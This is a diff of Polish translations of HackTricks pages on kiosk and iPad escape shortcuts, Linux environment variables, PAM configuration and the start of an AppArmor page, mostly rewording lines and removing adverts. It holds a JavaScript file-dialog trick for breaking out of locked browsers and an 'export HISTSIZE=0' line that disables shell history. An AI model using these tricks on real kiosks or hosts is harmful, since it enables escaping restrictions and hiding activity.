Sprawdź tę stronę, aby uzyskać więcej informacji: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
|
||||
## Triki przeglądarek
|
||||
## Sztuczki przeglądarek
|
||||
|
||||
Kopia zapasowa wersji iKat:
|
||||
Kopie zapasowe wersji iKat:
|
||||
|
||||
[http://swin.es/k/](http://swin.es/k/)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
|
||||
|
||||
Utwórz wspólny dialog za pomocą JavaScript i uzyskaj dostęp do eksploratora plików: `document.write('<input/type=file>')`\
|
||||
Utwórz wspólne okno dialogowe za pomocą JavaScript i uzyskaj dostęp do eksploratora plików: `document.write('<input/type=file>')`\
|
||||
Źródło: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
|
||||
## iPad
|
||||
|
||||
### Gesty i przyciski
|
||||
|
||||
* Swajp w górę czterema (lub pięcioma) palcami / Podwójne stuknięcie przycisku Home: Aby zobaczyć widok wielozadaniowy i zmienić aplikację
|
||||
* Swajp w jedną lub drugą stronę czterema lub pięcioma palcami: Aby przejść do następnej/poprzedniej aplikacji
|
||||
* Szczypnięcie ekranu pięcioma palcami / Dotknięcie przycisku Home / Swajp w górę jednym palcem od dołu ekranu w szybkim ruchu do góry: Aby uzyskać dostęp do ekranu głównego
|
||||
* Swajp jednym palcem z dolnej krawędzi ekranu na odległość 1-2 cali (wolno): Pojawi się pasek
|
||||
* Swajp w dół jednym palcem z górnej krawędzi ekranu: Aby zobaczyć powiadomienia
|
||||
* Swajp w dół jednym palcem w prawym górnym rogu ekranu: Aby zobaczyć centrum sterowania iPad Pro
|
||||
* Swajp jednym palcem z lewej krawędzi ekranu na odległość 1-2 cali: Aby zobaczyć widok Dzisiaj
|
||||
* Szybki swajp jednym palcem z centrum ekranu w prawo lub w lewo: Aby przejść do następnej/poprzedniej aplikacji
|
||||
* Naciśnij i przytrzymaj przycisk Wł./Wył./Uśpij w prawym górnym rogu iPada + Przesuń suwak do wyłączenia zasilania całkowicie w prawo: Aby wyłączyć zasilanie
|
||||
* Naciśnij przycisk Wł./Wył./Uśpij w prawym górnym rogu iPada i przycisk Home przez kilka sekund: Aby wymusić twarde wyłączenie
|
||||
* Naciśnij przycisk Wł./Wył./Uśpij w prawym górnym rogu iPada i przycisk Home szybko: Aby zrobić zrzut ekranu, który pojawi się w lewym dolnym rogu ekranu. Naciśnij oba przyciski jednocześnie bardzo krótko, jeśli przytrzymasz je przez kilka sekund, zostanie wykonane twarde wyłączenie.
|
||||
* Przesuń w górę czterema (lub pięcioma) palcami / Podwójne naciśnięcie przycisku Home: Aby wyświetlić widok multitaskingu i zmienić aplikację
|
||||
* Przesuń w jedną lub drugą stronę czterema lub pięcioma palcami: Aby przejść do następnej/ostatniej aplikacji
|
||||
* Złap ekran pięcioma palcami / Dotknij przycisku Home / Przesuń w górę jednym palcem z dolnej części ekranu w szybkim ruchu do góry: Aby uzyskać dostęp do ekranu głównego
|
||||
* Przesuń jednym palcem z dolnej części ekranu tylko 1-2 cale (wolno): Pojawi się dock
|
||||
* Przesuń w dół z górnej części wyświetlacza jednym palcem: Aby wyświetlić powiadomienia
|
||||
* Przesuń w dół jednym palcem w prawym górnym rogu ekranu: Aby zobaczyć centrum sterowania iPada Pro
|
||||
* Przesuń jednym palcem z lewej strony ekranu 1-2 cale: Aby zobaczyć widok Dzisiaj
|
||||
* Szybko przesuń jednym palcem z centrum ekranu w prawo lub w lewo: Aby przejść do następnej/ostatniej aplikacji
|
||||
* Naciśnij i przytrzymaj przycisk Włącz/**Wyłącz**/Uśpienie w prawym górnym rogu **iPada +** Przesuń suwak **wyłączania** całkowicie w prawo: Aby wyłączyć
|
||||
* Naciśnij przycisk Włącz/**Wyłącz**/Uśpienie w prawym górnym rogu **iPada i przycisk Home przez kilka sekund**: Aby wymusić twarde wyłączenie
|
||||
* Naciśnij przycisk Włącz/**Wyłącz**/Uśpienie w prawym górnym rogu **iPada i przycisk Home szybko**: Aby zrobić zrzut ekranu, który pojawi się w lewym dolnym rogu wyświetlacza. Naciśnij oba przyciski jednocześnie bardzo krótko, ponieważ jeśli przytrzymasz je przez kilka sekund, zostanie wykonane twarde wyłączenie.
|
||||
|
||||
### Skróty
|
||||
|
||||
Powinieneś mieć klawiaturę iPad lub adapter klawiatury USB. Tutaj zostaną pokazane tylko skróty, które mogą pomóc w wyjściu z aplikacji.
|
||||
Powinieneś mieć klawiaturę iPada lub adapter klawiatury USB. Tylko skróty, które mogą pomóc w ucieczce z aplikacji, będą tutaj pokazane.
|
||||
|
||||
| Klawisz | Nazwa |
|
||||
| --- | ------------ |
|
||||
| ⌘ | Command |
|
||||
| ⌥ | Option (Alt) |
|
||||
| ⌘ | Komenda |
|
||||
| ⌥ | Opcja (Alt) |
|
||||
| ⇧ | Shift |
|
||||
| ↩ | Return |
|
||||
| ↩ | Powrót |
|
||||
| ⇥ | Tab |
|
||||
| ^ | Control |
|
||||
| ← | Left Arrow |
|
||||
| → | Right Arrow |
|
||||
| ↑ | Up Arrow |
|
||||
| ↓ | Down Arrow |
|
||||
| ^ | Kontrola |
|
||||
| ← | Strzałka w lewo |
|
||||
| → | Strzałka w prawo |
|
||||
| ↑ | Strzałka w górę |
|
||||
| ↓ | Strzałka w dół |
|
||||
|
||||
#### Skróty systemowe
|
||||
|
||||
Te skróty są przeznaczone do ustawień wizualnych i dźwiękowych, w zależności od użytkowania iPada.
|
||||
Te skróty dotyczą ustawień wizualnych i dźwiękowych, w zależności od użycia iPada.
|
||||
|
||||
| Skrót | Działanie |
|
||||
| Skrót | Akcja |
|
||||
| -------- | ------------------------------------------------------------------------------ |
|
||||
| F1 | Przyciemnij ekran |
|
||||
| F2 | Rozjaśnij ekran |
|
||||
| F7 | Wróć do poprzedniego utworu |
|
||||
| F8 | Odtwórz/zatrzymaj |
|
||||
| F9 | Pomijaj utwór |
|
||||
| F7 | Wróć do poprzedniej piosenki |
|
||||
| F8 | Odtwarzaj/pauzuj |
|
||||
| F9 | Przewiń do następnej piosenki |
|
||||
| F10 | Wycisz |
|
||||
| F11 | Zmniejsz głośność |
|
||||
| F12 | Zwiększ głośność |
|
||||
| ⌘ Spacja | Wyświetl listę dostępnych języków; aby wybrać jeden, ponownie naciśnij spację. |
|
||||
| ⌘ Space | Wyświetl listę dostępnych języków; aby wybrać jeden, naciśnij spację ponownie. |
|
||||
|
||||
#### Nawigacja iPad
|
||||
#### Nawigacja po iPadzie
|
||||
|
||||
| Skrót | Działanie |
|
||||
| Skrót | Akcja |
|
||||
| -------------------------------------------------- | ------------------------------------------------------- |
|
||||
| ⌘H | Przejdź do ekranu głównego |
|
||||
| ⌘⇧H (Command-Shift-H) | Przejdź do ekranu głównego |
|
||||
| ⌘ (Spacja) | Otwórz Spotlight |
|
||||
| ⌘⇥ (Command-Tab) | Wyświetl ostatnie dziesięć używanych aplikacji |
|
||||
| ⌘ (Space) | Otwórz Spotlight |
|
||||
| ⌘⇥ (Command-Tab) | Lista ostatnich dziesięciu używanych aplikacji |
|
||||
| ⌘\~ | Przejdź do ostatniej aplikacji |
|
||||
| ⌘⇧3 (Command-Shift-3) | Zrób zrzut ekranu (pojawia się w lewym dolnym rogu do zapisania lub działania na nim) |
|
||||
| ⌘⇧4 | Zrób zrzut ekranu i otwórz go w edytorze |
|
||||
| Przytrzymaj ⌘ | Lista dostępnych skrótów dla aplikacji |
|
||||
| ⌘⌥D (Command-Option/Alt-D) | Wywołuje dok |
|
||||
| ^⌥H (Control-Option-H) | Przycisk ekranu głównego |
|
||||
| ^⌥H H (Control-Option-H-H) | Pokaż pasek wielozadaniowy |
|
||||
| ⌘⇧3 (Command-Shift-3) | Zrzut ekranu (unosi się w lewym dolnym rogu, aby zapisać lub działać na nim) |
|
||||
| ⌘⇧4 | Zrzut ekranu i otwórz go w edytorze |
|
||||
| Naciśnij i przytrzymaj ⌘ | Lista skrótów dostępnych dla aplikacji |
|
||||
| ⌘⌥D (Command-Option/Alt-D) | Wywołuje dock |
|
||||
| ^⌥H (Control-Option-H) | Przycisk Home |
|
||||
| ^⌥H H (Control-Option-H-H) | Pokaż pasek multitaskingu |
|
||||
| ^⌥I (Control-Option-i) | Wybór elementu |
|
||||
| Escape | Przycisk powrotu |
|
||||
| Escape | Przycisk wstecz |
|
||||
| → (Strzałka w prawo) | Następny element |
|
||||
| ← (Strzałka w lewo) | Poprzedni element |
|
||||
| ↑↓ (Strzałka w górę, Strzałka w dół) | Jednoczesne stuknięcie wybranego elementu |
|
||||
| ⌥ ↓ (Opcja-Strzałka w dół) | Przewiń w dół |
|
||||
| ⌥↑ (Opcja-Strzałka w górę) | Przewiń w górę |
|
||||
| ⌥← or ⌥→ (Opcja-Strzałka w lewo lub Opcja-Strzałka w prawo) | Przewiń w lewo lub prawo |
|
||||
| ↑↓ (Strzałka w górę, Strzałka w dół) | Jednocześnie dotknij wybranego elementu |
|
||||
| ⌥ ↓ (Option-Down arrow) | Przewiń w dół |
|
||||
| ⌥↑ (Option-Up arrow) | Przewiń w górę |
|
||||
| ⌥← lub ⌥→ (Option-Left arrow lub Option-Right arrow) | Przewiń w lewo lub w prawo |
|
||||
| ^⌥S (Control-Option-S) | Włącz lub wyłącz mowę VoiceOver |
|
||||
| ⌘⇧⇥ (Command-Shift-Tab) | Przełącz do poprzedniej aplikacji |
|
||||
| ⌘⇥ (Command-Tab) | Przełącz z powrotem do pierwotnej aplikacji |
|
||||
| ←+→, potem Opcja + ← lub Opcja+→ | Nawiguj przez dok |
|
||||
#### Skróty klawiszowe w Safari
|
||||
| ⌘⇥ (Command-Tab) | Przełącz z powrotem do oryginalnej aplikacji |
|
||||
| ←+→, następnie Opcja + ← lub Opcja+→ | Nawiguj przez Dock |
|
||||
|
||||
| Skrót | Działanie |
|
||||
| --------------------- | ---------------------------------------------- |
|
||||
| ⌘L (Command-L) | Otwórz lokalizację |
|
||||
| ⌘T | Otwórz nową kartę |
|
||||
| ⌘W | Zamknij bieżącą kartę |
|
||||
| ⌘R | Odśwież bieżącą kartę |
|
||||
| ⌘. | Zatrzymaj ładowanie bieżącej karty |
|
||||
| ^⇥ | Przełącz się na następną kartę |
|
||||
| ^⇧⇥ (Control-Shift-Tab) | Przejdź do poprzedniej karty |
|
||||
| ⌘L | Wybierz pole tekstowe/URL do modyfikacji |
|
||||
| ⌘⇧T (Command-Shift-T) | Otwórz ostatnio zamkniętą kartę (można użyć kilka razy) |
|
||||
| ⌘\[ | Wróć do poprzedniej strony w historii przeglądania |
|
||||
| ⌘] | Przejdź do przodu o jedną stronę w historii przeglądania |
|
||||
| ⌘⇧R | Aktywuj tryb Czytnika |
|
||||
#### Skróty Safari
|
||||
|
||||
#### Skróty klawiszowe w Mail
|
||||
| Skrót | Akcja |
|
||||
| ----------------------- | ------------------------------------------------ |
|
||||
| ⌘L (Command-L) | Otwórz lokalizację |
|
||||
| ⌘T | Otwórz nową kartę |
|
||||
| ⌘W | Zamknij bieżącą kartę |
|
||||
| ⌘R | Odśwież bieżącą kartę |
|
||||
| ⌘. | Zatrzymaj ładowanie bieżącej karty |
|
||||
| ^⇥ | Przełącz do następnej karty |
|
||||
| ^⇧⇥ (Control-Shift-Tab) | Przejdź do poprzedniej karty |
|
||||
| ⌘L | Wybierz pole tekstowe/URL, aby je zmodyfikować |
|
||||
| ⌘⇧T (Command-Shift-T) | Otwórz ostatnio zamkniętą kartę (można używać wielokrotnie) |
|
||||
| ⌘\[ | Wróć o jedną stronę w historii przeglądania |
|
||||
| ⌘] | Przejdź do przodu o jedną stronę w historii przeglądania |
|
||||
| ⌘⇧R | Aktywuj tryb czytnika |
|
||||
|
||||
| Skrót | Działanie |
|
||||
| -------------------------- | ----------------------------- |
|
||||
| ⌘L | Otwórz lokalizację |
|
||||
| ⌘T | Otwórz nową kartę |
|
||||
| ⌘W | Zamknij bieżącą kartę |
|
||||
| ⌘R | Odśwież bieżącą kartę |
|
||||
#### Skróty Mail
|
||||
|
||||
| Skrót | Akcja |
|
||||
| -------------------------- | ---------------------------- |
|
||||
| ⌘L | Otwórz lokalizację |
|
||||
| ⌘T | Otwórz nową kartę |
|
||||
| ⌘W | Zamknij bieżącą kartę |
|
||||
| ⌘R | Odśwież bieżącą kartę |
|
||||
| ⌘. | Zatrzymaj ładowanie bieżącej karty |
|
||||
| ⌘⌥F (Command-Option/Alt-F) | Szukaj w swojej skrzynce odbiorczej |
|
||||
| ⌘⌥F (Command-Option/Alt-F) | Szukaj w swojej skrzynce pocztowej |
|
||||
|
||||
## Odnośniki
|
||||
|
||||
|
@ -300,29 +292,19 @@ Te skróty są przeznaczone do ustawień wizualnych i dźwiękowych, w zależno
|
|||
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje sprawdzania, czy firma lub jej klienci nie zostali **skompromitowani** przez **malware typu stealer**.
|
||||
|
||||
Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz odwiedzić ich stronę internetową i wypróbować ich silnik **za darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Dowiedz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Dowiedz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,19 +10,11 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Zmienne globalne
|
||||
|
||||
Zmienne globalne **będą** dziedziczone przez **procesy potomne**.
|
||||
|
@ -69,7 +61,7 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
|
|||
* **MANPATH** – lista katalogów do przeszukiwania stron podręcznika.
|
||||
* **OSTYPE** – typ systemu operacyjnego.
|
||||
* **PS1** – domyślny prompt w bash.
|
||||
* **PATH** – przechowuje ścieżkę do wszystkich katalogów, które zawierają pliki binarne, które chcesz wykonać, podając tylko nazwę pliku, a nie względną lub absolutną ścieżkę.
|
||||
* **PATH** – przechowuje ścieżkę do wszystkich katalogów, które zawierają pliki binarne, które chcesz wykonać, po prostu podając nazwę pliku, a nie względną lub absolutną ścieżkę.
|
||||
* **PWD** – bieżący katalog roboczy.
|
||||
* **SHELL** – ścieżka do bieżącej powłoki poleceń (na przykład **/bin/bash**).
|
||||
* **TERM** – bieżący typ terminala (na przykład **xterm**).
|
||||
|
@ -92,7 +84,7 @@ export HISTSIZE=0
|
|||
```
|
||||
### http\_proxy & https\_proxy
|
||||
|
||||
Procesy będą używać **proxy** zadeklarowanego tutaj, aby połączyć się z internetem przez **http lub https**.
|
||||
Procesy będą używać zadeklarowanego **proxy** do łączenia się z internetem przez **http lub https**.
|
||||
```bash
|
||||
export http_proxy="http://10.10.10.10:8080"
|
||||
export https_proxy="http://10.10.10.10:8080"
|
||||
|
@ -126,11 +118,6 @@ Jedno zadanie w tle, jedno zatrzymane, a ostatnia komenda nie zakończyła się
|
|||
|
||||
![](<../.gitbook/assets/image (715).png>)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -138,11 +125,11 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,25 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
### Podstawowe informacje
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
**PAM (Pluggable Authentication Modules)** działa jako mechanizm zabezpieczeń, który **weryfikuje tożsamość użytkowników próbujących uzyskać dostęp do usług komputerowych**, kontrolując ich dostęp na podstawie różnych kryteriów. Jest to podobne do cyfrowego strażnika, który zapewnia, że tylko autoryzowani użytkownicy mogą korzystać z określonych usług, jednocześnie potencjalnie ograniczając ich użycie, aby zapobiec przeciążeniu systemu.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Basic Information
|
||||
|
||||
**PAM (Pluggable Authentication Modules)** działa jako mechanizm zabezpieczeń, który **weryfikuje tożsamość użytkowników próbujących uzyskać dostęp do usług komputerowych**, kontrolując ich dostęp na podstawie różnych kryteriów. Jest to podobne do cyfrowego strażnika, który zapewnia, że tylko autoryzowani użytkownicy mogą korzystać z określonych usług, jednocześnie potencjalnie ograniczając ich użycie, aby zapobiec przeciążeniom systemu.
|
||||
|
||||
#### Configuration Files
|
||||
#### Pliki konfiguracyjne
|
||||
|
||||
* **Systemy Solaris i UNIX** zazwyczaj wykorzystują centralny plik konfiguracyjny znajdujący się w `/etc/pam.conf`.
|
||||
* **Systemy Linux** preferują podejście oparte na katalogach, przechowując konfiguracje specyficzne dla usług w `/etc/pam.d`. Na przykład, plik konfiguracyjny dla usługi logowania znajduje się w `/etc/pam.d/login`.
|
||||
|
@ -51,47 +38,36 @@ password required /lib/security/pam_ldap.so
|
|||
password required /lib/security/pam_pwdb.so use_first_pass
|
||||
session required /lib/security/pam_unix_session.so
|
||||
```
|
||||
#### **Zarządzanie obszarami PAM**
|
||||
#### **Zarządzanie PAM Realmami**
|
||||
|
||||
Te obszary, lub grupy zarządzania, obejmują **auth**, **account**, **password** i **session**, z których każdy odpowiada za różne aspekty procesu uwierzytelniania i zarządzania sesjami:
|
||||
Te realm'y, lub grupy zarządzania, obejmują **auth**, **account**, **password** i **session**, z których każda odpowiada za różne aspekty procesu uwierzytelniania i zarządzania sesjami:
|
||||
|
||||
* **Auth**: Weryfikuje tożsamość użytkownika, często prosząc o hasło.
|
||||
* **Account**: Obsługuje weryfikację konta, sprawdzając warunki takie jak członkostwo w grupie lub ograniczenia czasowe.
|
||||
* **Account**: Obsługuje weryfikację konta, sprawdzając warunki takie jak przynależność do grupy lub ograniczenia czasowe.
|
||||
* **Password**: Zarządza aktualizacjami haseł, w tym kontrolą złożoności lub zapobieganiem atakom słownikowym.
|
||||
* **Session**: Zarządza działaniami podczas rozpoczęcia lub zakończenia sesji usługi, takimi jak montowanie katalogów lub ustawianie limitów zasobów.
|
||||
|
||||
#### **Kontrola modułów PAM**
|
||||
|
||||
Kontrole określają reakcję modułu na sukces lub porażkę, wpływając na ogólny proces uwierzytelniania. Obejmują one:
|
||||
Kontrole określają reakcję modułu na sukces lub porażkę, wpływając na ogólny proces uwierzytelniania. Należą do nich:
|
||||
|
||||
* **Required**: Porażka wymaganego modułu skutkuje ostateczną porażką, ale tylko po sprawdzeniu wszystkich kolejnych modułów.
|
||||
* **Requisite**: Natychmiastowe zakończenie procesu w przypadku porażki.
|
||||
* **Sufficient**: Sukces omija pozostałe kontrole tego samego obszaru, chyba że kolejny moduł zawiedzie.
|
||||
* **Sufficient**: Sukces omija pozostałe kontrole tego samego realm'u, chyba że kolejny moduł zawiedzie.
|
||||
* **Optional**: Powoduje porażkę tylko wtedy, gdy jest jedynym modułem w stosie.
|
||||
|
||||
#### Przykładowy scenariusz
|
||||
|
||||
W konfiguracji z wieloma modułami auth, proces przebiega w ścisłej kolejności. Jeśli moduł `pam_securetty` uzna terminal logowania za nieautoryzowany, logowania roota są zablokowane, jednak wszystkie moduły są nadal przetwarzane z powodu jego statusu "required". Moduł `pam_env` ustawia zmienne środowiskowe, co może wspierać doświadczenia użytkownika. Moduły `pam_ldap` i `pam_unix` współpracują, aby uwierzytelnić użytkownika, przy czym `pam_unix` próbuje użyć wcześniej podanego hasła, co zwiększa efektywność i elastyczność metod uwierzytelniania.
|
||||
W konfiguracji z wieloma modułami auth, proces przebiega w ścisłej kolejności. Jeśli moduł `pam_securetty` znajdzie terminal logowania jako nieautoryzowany, logowania roota są zablokowane, jednak wszystkie moduły są nadal przetwarzane z powodu jego statusu "required". Moduł `pam_env` ustawia zmienne środowiskowe, co może wspierać doświadczenia użytkownika. Moduły `pam_ldap` i `pam_unix` współpracują, aby uwierzytelnić użytkownika, przy czym `pam_unix` próbuje użyć wcześniej podanego hasła, co zwiększa efektywność i elastyczność metod uwierzytelniania.
|
||||
|
||||
### Referencje
|
||||
|
||||
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana **dark-web**, która oferuje **darmowe** funkcje sprawdzania, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -99,7 +75,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do repozytoriów** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,58 +1,44 @@
|
|||
# AppArmor
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i praktykuj Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i praktykuj Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
